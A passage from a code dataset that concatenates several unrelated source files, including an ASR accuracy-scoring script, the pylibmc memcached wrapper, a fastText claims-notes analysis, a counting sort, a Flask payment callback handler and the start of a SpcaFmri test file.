filename.find('!')]\n\n # Accuracy for script with reference R1\n if script_ref == 'R1':\n print(filename + ' is being analyzed...')\n\n # Counts the occurrences of each word in script and stores in a dictionary\n r1_counted_dict = Counter(r1.split(' '))\n\n # Splits the recognized text into word tokens and stores in a list\n recognized_list = list(recognized_text.split(' '))\n recognized_list.pop(len(recognized_list) - 1) # Remove empty string at final index in list\n\n # Variable to hold accurate recognitions and mis-recognised words\n accuracy_count = 0\n mis_recs = []\n\n # Loops through list of recognized words:\n # If the word is in the dictionary of counted words and the number of occurrences is > 0\n # Increment accuracy count by 1 and decrement number of occurrences of that word in the counted dictionary\n # If word is in counted dictionary but the number of occurrences is == 0, add word to list of mis-recognitions\n # If the word is not in the counted dictionary, add the word to the list of mis-recognitions\n for line in recognized_list:\n if line in r1_counted_dict.keys():\n if r1_counted_dict[line] > 0:\n accuracy_count += 1\n r1_counted_dict[line] -= 1\n else:\n mis_recs.append(line)\n else:\n mis_recs.append(line)\n\n # Turn list of mis-recognitions into a String\n mis_recs_str = ''\n for i in mis_recs:\n mis_recs_str += i + ' '\n\n print(filename + ' analysis complete.')\n\n # Return tuple of accuracy rate, number of mis-recognitions, mis-recognition string\n return accuracy_count / len(r1.split(' ')) * 100, len(mis_recs), mis_recs_str\n # Accuracy for script with reference R2\n # See comments for R1 for code explanation\n elif script_ref == 'R2':\n print(filename + ' is being analyzed...')\n\n r2_counted_dict = Counter(r2.split(' '))\n\n recognized_list = list(recognized_text.split(' '))\n recognized_list.pop(len(recognized_list) - 1) # Remove empty string at final index in list\n\n accuracy_count = 0\n mis_recs = []\n for line in recognized_list:\n if line in r2_counted_dict.keys():\n if r2_counted_dict[line] > 0:\n accuracy_count += 1\n r2_counted_dict[line] -= 1\n else:\n mis_recs.append(line)\n else:\n mis_recs.append(line)\n\n mis_recs_str = ''\n for i in mis_recs:\n mis_recs_str += i + ' '\n\n print(filename + ' analysis complete.')\n return accuracy_count / len(r2.split(' ')) * 100, len(mis_recs), mis_recs_str\n # Accuracy for script with reference R3\n # See comments for R1 for code explanation\n elif script_ref == 'R3':\n print(filename + ' is being analyzed...')\n\n r3_counted_dict = Counter(r3.split(' '))\n\n recognized_list = list(recognized_text.split(' '))\n recognized_list.pop(len(recognized_list) - 1) # Remove empty string at final index in list\n\n accuracy_count = 0\n mis_recs = []\n for line in recognized_list:\n if line in r3_counted_dict.keys():\n if r3_counted_dict[line] > 0:\n accuracy_count += 1\n r3_counted_dict[line] -= 1\n else:\n mis_recs.append(line)\n else:\n mis_recs.append(line)\n\n mis_recs_str = ''\n for i in mis_recs:\n mis_recs_str += i + ' '\n\n print(filename + ' analysis complete.')\n return accuracy_count / len(r3.split(' ')) * 100, len(mis_recs), mis_recs_str\n # Accuracy for script with reference G1\n # See comments for R1 for code explanation\n else:\n print(filename + ' is being analyzed...')\n\n g1_counted_dict = Counter(g1.split(' '))\n\n recognized_list = list(recognized_text.split(' '))\n recognized_list.pop(len(recognized_list) - 1) # Remove empty string at final index in list\n\n accuracy_count = 0\n mis_recs = []\n for line in recognized_list:\n if line in g1_counted_dict.keys():\n if g1_counted_dict[line] > 0:\n accuracy_count += 1\n g1_counted_dict[line] -= 1\n else:\n mis_recs.append(line)\n else:\n mis_recs.append(line)\n\n mis_recs_str = ''\n for i in mis_recs:\n mis_recs_str += i + ' '\n\n print(filename + ' analysis complete.')\n return accuracy_count / len(g1.split(' ')) * 100, len(mis_recs), mis_recs_str\n\n\ndef process_store_fluent() -> str:\n \"\"\"\n Process all fluent files and store required data statistics results in DB.\n :return: confirmation string\n \"\"\"\n\n # Locations for local files\n location = '/Users/benjaminhewett/PycharmProjects/MScProjectFinal/Audio_Data/'\n sub_loc = ['R1/', 'R2/', 'R3/', 'G1/', 'Fluent/']\n\n files = {'R1/Fluent/': os.listdir(location + sub_loc[0] + sub_loc[4]),\n 'R2/Fluent/': os.listdir(location + sub_loc[1] + sub_loc[4]),\n 'R3/Fluent/': os.listdir(location + sub_loc[2] + sub_loc[4]),\n 'G1/Fluent/': os.listdir(location + sub_loc[3] + sub_loc[4])}\n\n # Lists to store results\n filename = []\n ASR_script_word_count = []\n ASR_script_text = []\n ASR_accuracy_rate = []\n misrecognition_count = []\n misrecognitions = []\n\n # For each file, process the results\n # Recognise the audio\n # Calculate the accuracy statistics\n for key, values in files.items():\n for value in values:\n recog = recognise_audio(location + key + value)\n acc = calculate_accuracy(location + key + value, recog[0])\n\n filename.append(value)\n ASR_script_word_count.append(recog[1])\n ASR_script_text.append(recog[0])\n ASR_accuracy_rate.append(acc[0])\n misrecognition_count.append(acc[1])\n misrecognitions.append(acc[2])\n\n # Database - store results\n # Check for files already in DB\n # Store only non-duplicates\n _SQL = str.format(\"\"\"SELECT filename FROM ASR_Results\"\"\")\n cursor.execute(_SQL)\n fetch = cursor.fetchall()\n\n file_list = []\n for tup in fetch:\n file_list.append(tup[0])\n\n for i in range(len(filename)):\n if filename[i] not in file_list:\n if filename[i][-13:-4] == 'R1!Fluent':\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], True, False, 'R1', r1_count, r1, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n elif filename[i][-13:-4] == 'R2!Fluent':\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], True, False, 'R2', r2_count, r2, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n elif filename[i][-13:-4] == 'R3!Fluent':\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], True, False, 'R3', r3_count, r3, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n else:\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], True, False, 'G1', g1_count, g1, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n\n return 'All fluent files recognized, analyzed and stored.'\n\n\ndef process_store_disfluent() -> str:\n \"\"\"\n Process and store results for all disfluent files\n :return: confirmation string\n \"\"\"\n\n # Locations for local files\n location = '/Users/benjaminhewett/PycharmProjects/MScProjectFinal/Audio_Data/'\n sub_loc = ['R1/', 'R2/', 'R3/', 'G1/', 'Disfluent/']\n\n files = {'R1/Disfluent/': os.listdir(location + sub_loc[0] + sub_loc[4]),\n 'R2/Disfluent/': os.listdir(location + sub_loc[1] + sub_loc[4]),\n 'R3/Disfluent/': os.listdir(location + sub_loc[2] + sub_loc[4]),\n 'G1/Disfluent/': os.listdir(location + sub_loc[3] + sub_loc[4])}\n\n # Lists to store results\n filename = []\n ASR_script_word_count = []\n ASR_script_text = []\n ASR_accuracy_rate = []\n misrecognition_count = []\n misrecognitions = []\n\n # For each file, process the results\n # Recognise the audio\n # Calculate the accuracy statistics\n for key, values in files.items():\n for value in values:\n recog = recognise_audio(location + key + value)\n acc = calculate_accuracy(location + key + value, recog[0])\n\n filename.append(value)\n ASR_script_word_count.append(recog[1])\n ASR_script_text.append(recog[0])\n ASR_accuracy_rate.append(acc[0])\n misrecognition_count.append(acc[1])\n misrecognitions.append(acc[2])\n\n # Database - store results\n # Check for files already in DB\n # Store only non-duplicates\n _SQL = str.format(\"\"\"SELECT filename FROM ASR_Results\"\"\")\n cursor.execute(_SQL)\n fetch = cursor.fetchall()\n\n file_list = []\n for tup in fetch:\n file_list.append(tup[0])\n\n for i in range(len(filename)):\n if filename[i] not in file_list:\n if filename[i][-16:-4] == 'R1!Disfluent':\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], False, True, 'R1', r1_count, r1, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n elif filename[i][-16:-4] == 'R2!Disfluent':\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], False, True, 'R2', r2_count, r2, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n elif filename[i][-16:-4] == 'R3!Disfluent':\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], False, True, 'R3', r3_count, r3, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n else:\n _SQL = str.format(\n \"\"\"insert into ASR_Results (filename, fluent, disfluent, script_id, script_word_count, script_text, ASR_script_word_count, ASR_script_text, ASR_accuracy_rate, misrecognition_count, misrecognitions) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\")\n insert = (filename[i], False, True, 'G1', g1_count, g1, ASR_script_word_count[i], ASR_script_text[i],\n ASR_accuracy_rate[i], misrecognition_count[i], misrecognitions[i])\n cursor.execute(_SQL, insert)\n connection.commit()\n\n return 'All disfluent files recognized, analyzed and stored.'\n","sub_path":"ASR_Processing/Recognize_Audio.py","file_name":"Recognize_Audio.py","file_ext":"py","file_size_in_byte":20053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"19104802","text":"\n'''\nnums = [6,9,7,4,2]:\nAlgorithm is update second value.\nReverse order\nwhen 2 < 4: we need find s1 < 2.\nwhen 7 < 9: update, find s1 < 7\n\n'''\ndef find132pattern1(nums):\n stack = []\n s3 = -2 ** 31\n for n in nums[::-1]:\n if n < s3: return True\n while stack and stack[-1] < n:\n s3 = stack.pop()\n stack.append(n)\n return False\n\n# print(find132pattern([1,2,3,4]))\nprint(find132pattern1([-1, 3, 2, 0]))\n","sub_path":"Project/Leetcode/Amazon/456. 132 Pattern.py","file_name":"456. 132 Pattern.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"397932543","text":"\"\"\"Snappy libmemcached wrapper\n\npylibmc is a Python wrapper around TangentOrg's libmemcached library.\n\nThe interface is intentionally made as close to python-memcached as possible,\nso that applications can drop-in replace it.\n\nExample usage\n=============\n\nCreate a connection and configure it::\n\n >>> import pylibmc\n >>> mc = pylibmc.Client([\"127.0.0.1\"], binary=True)\n >>> mc.behaviors = {\"tcp_nodelay\": True, \"ketama\": True}\n\nBasic operation::\n\n >>> mc.set(\"some_key\", \"Some value\")\n True\n >>> value = mc.get(\"some_key\")\n >>> value\n 'Some value'\n >>> mc.set(\"another_key\", 3)\n True\n >>> mc.delete(\"another_key\")\n True\n >>> mc.set(\"key\", \"1\") # str or int is fine\n True\n\nAtomic increments and decrements::\n\n >>> mc.incr(\"key\")\n 2L\n >>> mc.decr(\"key\")\n 1L\n\nBatch operation::\n\n >>> mc.get_multi([\"key\", \"another_key\"])\n {'key': '1'}\n >>> mc.set_multi({\"cats\": [\"on acid\", \"furry\"], \"dogs\": True})\n []\n >>> mc.get_multi([\"cats\", \"dogs\"])\n {'cats': ['on acid', 'furry'], 'dogs': True}\n >>> mc.delete_multi([\"cats\", \"dogs\", \"nonextant\"])\n False\n >>> mc.add_multi({\"cats\": [\"on acid\", \"furry\"], \"dogs\": True})\n []\n >>> mc.get_multi([\"cats\", \"dogs\"])\n {'cats': ['on acid', 'furry'], 'dogs': True}\n >>> mc.add_multi({\"cats\": \"not set\", \"dogs\": \"definitely not set\", \"bacon\": \"yummy\"})\n ['cats', 'dogs']\n >>> mc.get_multi([\"cats\", \"dogs\", \"bacon\"])\n {'cats': ['on acid', 'furry'], 'bacon': 'yummy', 'dogs': True}\n >>> mc.delete_multi([\"cats\", \"dogs\", \"bacon\"])\n True\n\nFurther Reading\n===============\n\nSee http://sendapatch.se/projects/pylibmc/\n\"\"\"\n\nfrom __future__ import with_statement\n\nimport _pylibmc\nfrom Queue import Queue\n\n__all__ = [\"hashers\", \"distributions\", \"Client\"]\n__version__ = _pylibmc.__version__\nsupport_compression = _pylibmc.support_compression\n\nerrors = tuple(e for (n, e) in _pylibmc.exceptions)\n# *Cough* Uhm, not the prettiest of things but this unpacks all exception\n# objects and sets them on the very module object currently constructed.\nimport sys\nmodself = sys.modules[__name__]\nfor name, exc in _pylibmc.exceptions:\n setattr(modself, name, exc)\n\nhashers, hashers_rvs = {}, {}\ndistributions, distributions_rvs = {}, {}\n# Not the prettiest way of doing things, but works well.\nfor name in dir(_pylibmc):\n if name.startswith(\"hash_\"):\n key, value = name[5:], getattr(_pylibmc, name)\n hashers[key] = value\n hashers_rvs[value] = key\n elif name.startswith(\"distribution_\"):\n key, value = name[13:].replace(\"_\", \" \"), getattr(_pylibmc, name)\n distributions[key] = value\n distributions_rvs[value] = key\n\nclass BehaviorDict(dict):\n def __init__(self, client, *args, **kwds):\n super(BehaviorDict, self).__init__(*args, **kwds)\n self.client = client\n\n def __setitem__(self, name, value):\n super(BehaviorDict, self).__setitem__(name, value)\n self.client.set_behaviors({name: value})\n\n def update(self, d):\n super(BehaviorDict, self).update(d)\n self.client.set_behaviors(d.copy())\n\nclass Client(_pylibmc.client):\n def __init__(self, servers, binary=False):\n \"\"\"Initialize a memcached client instance.\n\n This connects to the servers in *servers*, which will default to being\n TCP servers. If it looks like a filesystem path, a UNIX socket. If\n prefixed with `udp:`, a UDP connection.\n\n If *binary* is True, the binary memcached protocol is used.\n \"\"\"\n self.binary = binary\n self.addresses = list(servers)\n addr_tups = []\n for server in servers:\n addr = server\n port = 11211\n if server.startswith(\"udp:\"):\n stype = _pylibmc.server_type_udp\n addr = addr[4:]\n if \":\" in server:\n (addr, port) = addr.split(\":\", 1)\n port = int(port)\n elif \":\" in server:\n stype = _pylibmc.server_type_tcp\n (addr, port) = server.split(\":\", 1)\n port = int(port)\n elif \"/\" in server:\n stype = _pylibmc.server_type_unix\n port = 0\n else:\n stype = _pylibmc.server_type_tcp\n addr_tups.append((stype, addr, port))\n super(Client, self).__init__(servers=addr_tups, binary=binary)\n\n def __repr__(self):\n return \"%s(%r, binary=%r)\" % (self.__class__.__name__,\n self.addresses, self.binary)\n\n def __str__(self):\n addrs = \", \".join(map(str, self.addresses))\n return \"<%s for %s, binary=%r>\" % (self.__class__.__name__,\n addrs, self.binary)\n\n def get_behaviors(self):\n \"\"\"Gets the behaviors from the underlying C client instance.\n\n Reverses the integer constants for `hash` and `distribution` into more\n understandable string values. See *set_behaviors* for info.\n \"\"\"\n bvrs = super(Client, self).get_behaviors()\n bvrs[\"hash\"] = hashers_rvs[bvrs[\"hash\"]]\n bvrs[\"distribution\"] = distributions_rvs[bvrs[\"distribution\"]]\n return BehaviorDict(self, bvrs)\n\n def set_behaviors(self, behaviors):\n \"\"\"Sets the behaviors on the underlying C client instance.\n\n Takes care of morphing the `hash` key, if specified, into the\n corresponding integer constant (which the C client expects.) If,\n however, an unknown value is specified, it's passed on to the C client\n (where it most surely will error out.)\n\n This also happens for `distribution`.\n \"\"\"\n behaviors = behaviors.copy()\n if behaviors.get(\"hash\") is not None:\n behaviors[\"hash\"] = hashers[behaviors[\"hash\"]]\n if behaviors.get(\"ketama_hash\") is not None:\n behaviors[\"ketama_hash\"] = hashers[behaviors[\"ketama_hash\"]]\n if behaviors.get(\"distribution\") is not None:\n behaviors[\"distribution\"] = distributions[behaviors[\"distribution\"]]\n return super(Client, self).set_behaviors(behaviors)\n\n behaviors = property(get_behaviors, set_behaviors)\n @property\n def behaviours(self):\n raise AttributeError(\"nobody uses british spellings\")\n\nfrom contextlib import contextmanager\n\nclass ClientPool(Queue):\n \"\"\"Client pooling helper.\n\n This is mostly useful in threaded environments, because a client isn't\n thread-safe at all. Instead, what you want to do is have each thread use\n its own client, but you don't want to reconnect these all the time.\n\n The solution is a pool, and this class is a helper for that.\n\n >>> mc = Client([\"127.0.0.1\"])\n >>> pool = ClientPool()\n >>> pool.fill(mc, 4)\n >>> with pool.reserve() as mc:\n ... mc.set(\"hi\", \"ho\")\n ... mc.delete(\"hi\")\n ... \n True\n True\n \"\"\"\n\n def __init__(self, mc=None, n_slots=None):\n Queue.__init__(self, n_slots)\n if mc is not None:\n self.fill(mc, n_slots)\n\n @contextmanager\n def reserve(self, timeout=None):\n \"\"\"Context manager for reserving a client from the pool.\n\n If *timeout* is given, it specifiecs how long to wait for a client to\n become available.\n \"\"\"\n mc = self.get(True, timeout=timeout)\n try:\n yield mc\n finally:\n self.put(mc)\n\n def fill(self, mc, n_slots):\n \"\"\"Fill *n_slots* of the pool with clones of *mc*.\"\"\"\n for i in xrange(n_slots):\n self.put(mc.clone())\n\nclass ThreadMappedPool(dict):\n \"\"\"Much like the *ClientPool*, helps you with pooling.\n\n In a threaded environment, you'd most likely want to have a client per\n thread. And there'd be no harm in one thread keeping the same client at all\n times. So, why not map threads to clients? That's what this class does.\n\n If a client is reserved, this class checks for a key based on the current\n thread, and if none exists, clones the master client and inserts that key.\n\n >>> mc = Client([\"127.0.0.1\"])\n >>> pool = ThreadMappedPool(mc)\n >>> with pool.reserve() as mc:\n ... mc.set(\"hi\", \"ho\")\n ... mc.delete(\"hi\")\n ... \n True\n True\n \"\"\"\n\n def __new__(cls, master):\n return super(ThreadMappedPool, cls).__new__(cls)\n\n def __init__(self, master):\n self.master = master\n\n @contextmanager\n def reserve(self):\n \"\"\"Reserve a client.\n\n Creates a new client based on the master client if none exists for the\n current thread.\n \"\"\"\n key = thread.get_ident()\n mc = self.pop(key, None)\n if mc is None:\n mc = self.master.clone()\n try:\n yield mc\n finally:\n self[key] = mc\n\n# This makes sure ThreadMappedPool doesn't exist with non-thread Pythons.\ntry:\n import thread\nexcept ImportError:\n del ThreadMappedPool\n\nif __name__ == \"__main__\":\n import sys\n import code\n\n svr_addrs = []\n\n sys.stderr.write(\"pylibmc interactive shell\\n\\n\")\n sys.stderr.write(\"Input list of servers, end by a blank line\\n\")\n\n binary = False\n if sys.argv[1:] == [\"--binary\"]:\n binary = True\n\n while True:\n in_addr = raw_input(\"Address: \")\n if not in_addr:\n break\n if not svr_addrs:\n svr_addrs.append(\"127.0.0.1\")\n\n mc = Client(svr_addrs, binary=binary)\n code.interact(banner=\"\\nmc client available as `mc`\", local={\"mc\": mc})\n","sub_path":"eaa2011/build/pylibmc/pylibmc.py","file_name":"pylibmc.py","file_ext":"py","file_size_in_byte":9490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"111093321","text":"#coding:utf-8\n\"\"\"\n作业6:\n如果一个正整数等于除它本身之外所有除数之和就称为完全数;\nexample:\n6 = 1+2+3\n28 = 14+7+4+2+1\n求1000以下的完全数:\n\n\"\"\"\ndef allnum():\n for i in range(1,1001):\n sum = 0\n for j in range(1,i):\n if i%j == 0:\n sum += j\n if sum == i:\n print(i)\n\n\nif __name__==\"__main__\":\n allnum()","sub_path":"demo05/day02_exc06.py","file_name":"day02_exc06.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"189705980","text":"'''\r\nThis is a script with some text analysis on claims notes.\r\nThe purpose of it to test how complicated it would be to deploy this analysis using Seldon.\r\nThe code in this script is logical code, it will need refactoring to be suitable for a Seldon deployment.\r\n\r\nIn summary, the script reads in some data, searches the text for certain terms and then uses a function\r\nto select only the words around those search terms.\r\nIt then trains a fasttext model on those text snippets and then finds word associations for an arbitrarily\r\nwritten list of assets.\r\nAt the end it produces a 3d scatter plot of different words so that we can see groups of related words.\r\n'''\r\nimport pandas as pd\r\nimport numpy\r\nimport re\r\nimport fasttext\r\nfrom textblob import TextBlob\r\nfrom nltk.corpus import stopwords, wordnet\r\nfrom sklearn.decomposition import PCA\r\nfrom plotly import graph_objects\r\nfrom plotly.offline import plot\r\n\r\n# define the search terms and read in data\r\nQUERY_SEARCH = ['invoice for', 'receipt for', 'cost for', 'image of']\r\nsourcedata = pd.read_csv('../DATA/multi_extract.csv')\r\n\r\n# bit of cleaning up of unwanted text\r\nclaim_only = sourcedata.replace({'detail':{\r\n 'Type:': '',\r\n 'New': '',\r\n 'Document': '',\r\n 'Email': '',\r\n 'Doc': '',\r\n 'Copy Incoming': '',\r\n 'Owner': '',\r\n 'Desc': '',\r\n 'Edited:': '',\r\n 'Actioned:': '',\r\n 'Repair invoice': '',\r\n 'approved': '',\r\n 'unapproved': '',\r\n 'Referred': '',\r\n '[^A-Za-z\\s]': '',\r\n 'reasonable': '',\r\n 'please': '',\r\n 'thanks': ''\r\n }},\r\n regex=True\r\n)\r\n\r\n\r\n# this selects words around search terms\r\ndef word_targetter(words, window, search_words, extra_stopwords, pre=False):\r\n \r\n assert type(words) is pd.core.series.Series, 'Words must be pd.Series()'\r\n assert type(search_words) is list\r\n assert type(extra_stopwords) is list\r\n pre_words = '(.{2,'+str(window)+'})'\r\n post_words = '(.{2,'+str(window)+'})'\r\n if pre:\r\n search_term = ''\r\n for w in search_words:\r\n search_term = search_term+pre_words+w+post_words+'|'\r\n else:\r\n search_term = ''\r\n for w in search_words:\r\n search_term = search_term+w+post_words+'|'\r\n \r\n print(search_term) # just a check, can be removed\r\n \r\n eng_stopwords = list(stopwords.words('english'))\r\n eng_stopwords.remove('for')\r\n eng_stopwords.extend(extra_stopwords)\r\n \r\n extracted = []\r\n for n in words.str.lower():\r\n blocks = re.findall(\r\n search_term[:-1], \r\n ' '.join([x for x in n.split() if x not in eng_stopwords])\r\n )\r\n [extracted.append(x) for x in blocks if x]\r\n \r\n return set(extracted)\r\n\r\n\r\nwords_for_ft = word_targetter(\r\n words=claim_only['detail'].str.lower(),\r\n window=25,\r\n search_words=QUERY_SEARCH,\r\n extra_stopwords=['damage', 'damaged', 'payment',],\r\n pre=True\r\n)\r\n\r\n# programmatic collection of returned text snippets and transform to csv for fasttext\r\ntext_snippets = []\r\nfor i in words_for_ft:\r\n for j in i:\r\n if len(j) > 5:\r\n text_snippets.append(j)\r\npd.Series(text_snippets).to_csv('../DATA/text_snippets.csv', index=None)\r\n# train the model on the selected text\r\nft_all_claim_only = fasttext.train_unsupervised(\r\n '../DATA/text_snippets.csv', \r\n 'cbow', \r\n ws=10,\r\n# dim=3\r\n)\r\n\r\n# everything below this is in order to create a 3d plot to visualise groups of words\r\noutput_pca = PCA(n_components=3)\r\noutput_pca.fit(ft_all_claim_only.get_output_matrix())\r\n\r\n# define some known assets and request their associated words from the model\r\nassets = ['bumper', 'carseat', 'window', 'door']\r\nselected_words = []\r\nfor a in assets:\r\n near_words = [x[1] for x in ft_all_claim_only.get_nearest_neighbors(a)]\r\n selected_words.extend(near_words)\r\n\r\n# this is horribly written but it takes the associated words and gets them into a format for plotting\r\ntransforms = pd.DataFrame()\r\nfor w in selected_words:\r\n transforms = transforms.append(pd.DataFrame(\r\n numpy.append(\r\n output_pca.transform(ft_all_claim_only.get_word_vector(w).reshape(1, -1)),\r\n w\r\n )\r\n ).T)\r\n\r\n# create a 3d plot of the PCA values for the words\r\nwords_fig = graph_objects.Figure(\r\n data=[\r\n graph_objects.Scatter3d(\r\n x=transforms[0], \r\n y=transforms[1], \r\n z=transforms[2], \r\n mode='markers',\r\n marker={'size': 2},\r\n text=transforms[3],\r\n )\r\n ]\r\n)\r\n\r\nwords_fig.update_layout(scene=dict(\r\n xaxis = dict(\r\n backgroundcolor='#ffffff',\r\n color=\"white\",\r\n showbackground=True,\r\n zerolinecolor=\"white\",),\r\n yaxis = dict(\r\n backgroundcolor='#ffffff',\r\n color=\"white\",\r\n showbackground=True,\r\n zerolinecolor=\"white\"),\r\n zaxis = dict(\r\n backgroundcolor='#ffffff',\r\n color=\"white\",\r\n showbackground=True,\r\n zerolinecolor=\"white\",\r\n )\r\n))\r\nplot(words_fig) # this creates a temp file\r\n","sub_path":"script_for_seldon.py","file_name":"script_for_seldon.py","file_ext":"py","file_size_in_byte":5047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"316232703","text":"\"\"\"\n计数排序,适用于\n1.最大值最小值比较集中\n2.有很多重复的元素\n\"\"\"\nfrom typing import List\n\n\ndef count(nums: List):\n \"\"\"\n 计数排序\n \"\"\"\n min_item = max_item = nums[0]\n items_len = len(nums)\n for item in nums:\n if item > max_item:\n max_item = item\n if item < min_item:\n min_item = item\n bucket = [0 for i in range(items_len)]\n # 往桶中计数\n for item in nums:\n bucket[item - min_item] += 1\n res = [min_item + index for index, num in enumerate(bucket) if num > 0 for i in range(num)]\n return res\n\n\nif __name__ == '__main__':\n import random\n\n s = [random.randint(0, 10) for i in range(100)]\n print(s)\n # a = [5, 4, 3, 2, 1]\n s = count(s)\n print(s)\n","sub_path":"day04/sort/count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"498209056","text":"import hashlib\nimport json as JSON\nimport requests\nfrom flask import Blueprint, request\nfrom flask_restful import Api, Resource, marshal, reqparse\nfrom blueprints import db, app\nfrom sqlalchemy import func\nfrom ..transactions.models import Transactions, Product \nfrom ..users.models import Users\n\nbp_mobPulsa = Blueprint('mobPulsa', __name__)\napi = Api(bp_mobPulsa)\n\nclass MobilePulsaCallback(Resource):\n '''\n Class for Handling Callback from Mobile Pulsa API\n \n Methods\n ------\n post(self)\n to get callback from Mobile Pulsa API and perform update on transaction table\n\n options(self)\n to prevent CORS when performing callback\n '''\n def options(self):\n return 200\n \n def post(self):\n # Get Callback JSON\n req_data = request.get_json()\n print(req_data)\n order_id = req_data['data']['ref_id']\n # Format ORDERID from midtrans to match with transactions table\n formatted_orderID = order_id.replace('TUKULSA-', '')\n print(formatted_orderID)\n # Query fro specific Transactions obtained from callback\n selected_trx = Transactions.query.filter_by(order_id= formatted_orderID).first()\n # Update order status based on callback status\n if req_data[\"data\"][\"status\"] == '1':\n selected_trx.order_status = \"SUKSES\"\n db.session.commit()\n print(selected_trx.order_status)\n elif req_data[\"data\"][\"status\"] == '0':\n selected_trx.order_status = \"PROSES\"\n db.session.commit()\n elif req_data[\"data\"][\"status\"] == '2':\n selected_trx.order_status = \"GAGAL\"\n db.session.commit()\n\n return req_data, 200, {'Content-Type': 'application/json'}\n\napi.add_resource(MobilePulsaCallback, '')","sub_path":"blueprints/mobilepulsa/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"509175529","text":"import nibabel\nimport numpy as np\nimport pytest\nfrom nilearn._utils.testing import assert_less_equal\nfrom nilearn.image import iter_img\n\nfrom modl.spca_fmri import SpcaFmri\n\nbackends = ['c', 'python']\n\n\n# Utils function are copied from nilearn.decomposition.tests.test_canica\ndef _make_data_from_components(components, affine, shape, rng=None,\n n_subjects=8):\n data = []\n if rng is None:\n rng = np.random.RandomState(0)\n cov = rng.uniform(-1, 1, size=(4, 4))\n cov.flat[::5] = 1\n cov *= 10\n mean = np.zeros(4)\n for _ in range(n_subjects):\n loadings = rng.multivariate_normal(mean, cov, size=40)\n this_data = np.dot(loadings, components)\n this_data += .01 * rng.normal(size=this_data.shape)\n # Get back into 3D for CanICA\n this_data = np.reshape(this_data, (40,) + shape)\n this_data = np.rollaxis(this_data, 0, 4)\n data.append(nibabel.Nifti1Image(this_data, affine))\n return data\n\n\ndef _make_components(shape):\n # Create two images with \"activated regions\"\n component1 = np.zeros(shape)\n component1[:5, :10] = 1\n component1[5:10, :10] = -1\n\n component2 = np.zeros(shape)\n component2[:5, -10:] = 1\n component2[5:10, -10:] = -1\n\n component3 = np.zeros(shape)\n component3[-5:, -10:] = 1\n component3[-10:-5, -10:] = -1\n\n component4 = np.zeros(shape)\n component4[-5:, :10] = 1\n component4[-10:-5, :10] = -1\n\n return np.vstack((component1.ravel(), component2.ravel(),\n component3.ravel(), component4.ravel()))\n\n\ndef 